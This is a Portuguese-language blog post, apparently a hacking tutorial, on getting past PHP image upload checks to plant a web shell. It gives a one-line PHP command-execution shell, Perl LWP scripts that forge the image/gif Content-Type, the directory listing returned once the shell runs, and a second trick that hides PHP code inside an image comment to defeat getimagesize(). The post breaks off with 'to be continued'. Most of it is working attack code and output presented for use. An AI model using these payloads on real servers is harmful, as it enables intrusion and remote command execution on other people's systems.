Assinatura RSS

Arquivo da tag: imagem

Bypassing uploaders de imagem em PHP

Publicado em

Uploaders de imagem podem ser mortais se não programados com a devida sabedoria, alguém mal intencionado poderia aproveitar-se desse recurso pra ganhar uma web shell no servidor, coisa que nenhum webmaster gostaria que acontecesse 🙂

Content-type verificação:

Muitos sistemas de upload usam esse método para “filtrar” os tipos de arquivos que serão postos no servidor

Vamos ver a anatomia do ataque:

Ex: “upload.php”


<?php

if($_FILES['userfile']['type'] != "image/gif") {
    echo "Foda-se Noob, sua shell aqui não tem vez!";
    exit;
}

$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
    echo "Upload com sucesso!";\n";
} else {
    echo "Erro no upload.\n";
}

?>

O sistema de upload acima faz uma verificação do tipo de arquivo que será posto no servidor e se o arquivo não for o requerido (a imagem) a ação não será concluída.
Vamos tentar fazer um upload de uma shell com uma ajuda de uma aplicação em perl, para que possamos ver em modo debug:


<?php
$command = $_GET['command'];
system($command);
?>
#!/usr/bin/perl

use LWP;
use HTTP::Request::Common;

$ua = $ua = LWP::UserAgent->new;

$res = $ua->request(POST 'http://localhost/upload.php',
             Content_Type => 'form-data',

	     Content => [
	      userfile => ["shell.php", "shell.php"],

	     ],
	    );
print $res->as_string();

Acompanhe a simulação:

Como podemos ver nosso upload foi negado : (

Mas não esquente a cabeça! temos uma solução.

Vamos forjar o conteúdo a ser enviado setando o “Content-Type” que é requerido (image/gif) com a ajuda da biblioteca libwwwperl :


#!/usr/bin/perl

use LWP;
use HTTP::Request::Common;

$ua = $ua = LWP::UserAgent->new;;
$ua->proxy('http', 'http://localhost:808/'); #Proxy ou seja, camisinha.

$res = $ua->request(POST 'http://localhost/upload.php',
 Content_Type => 'form-data',
 Content => [
 userfile => ["shell.php", "shell.php", "Content-Type" => "image/gif"],
 ],
 );
print $res->as_string();

Acompanhe:

Yeah! O exploit conseguiu nos dar uma shell no web server \o/

http://localhost/uploads/shell.php?command=dir


O volume na unidade C nÆo tem nome.  O n£mero de s‚rie do volume ‚ EC41-0BB2   Pasta de C:\Documents and Settings\Spectrum_Bill\fuck\htdocs\uploads  10/12/2010  22:14    _Bill_              . 10/12/2010  22:14    _Bill_              .. 10/12/2010  22:14    _Bill_                56 shell.php                1 arquivo(s)             56 bytes                2 pasta(s) 46.232.084.480 bytes dispon¡veis

Verificação do conteúdo da imagem:

Ao invés do programador usar verificações com o cabeçalho Content-type, é muito comum usa-se a função getimagesize() que tem a função de retornar as dimensões juntamente com o tipo de arquivo
Ex:


<?php

$imageinfo = getimagesize($_FILES['userfile']['tmp_name']);

if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg') {
 echo "Você novamente?! Dessa vez não vai funcionar.\n";
 exit;
}

$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
 echo "Upload com sucesso.\n";
} else {
 echo "Falha no upload.\n";
}

?>

Fazendo a mesma tentativa de anteriormente:

Humm e agora?

Temos uma ideia, vamos usar algum editor de imagem que faça comentários no interior de imagens, como um velho programa chamado edjpgcom ou até mesmo o próprio Gimp.
Vamos fazer com que a função getimagesize() verifique normalmente a extensão da imagem( que contem no seu interior <?php phpinfo(); ?> ) e depois setamos a extenção do arquivo em .php como se fosse uma imagem “limpa”:


#!/usr/bin/perl

use LWP;
use HTTP::Request::Common;

$ua = $ua = LWP::UserAgent->new;;

$res = $ua->request(POST 'http://localhost/upload2.php',
 Content_Type => 'form-data',
 Content => [
 userfile => ["crocus.gif", "crocus.php", "Content-Type" => "image/gif"],
 ],
 );
print $res->as_string();

Acompanhe:


Indo ver o estrago:

To be continued

Ainda vou mostrar mais algumas tecnicas quando tiver tempo ;*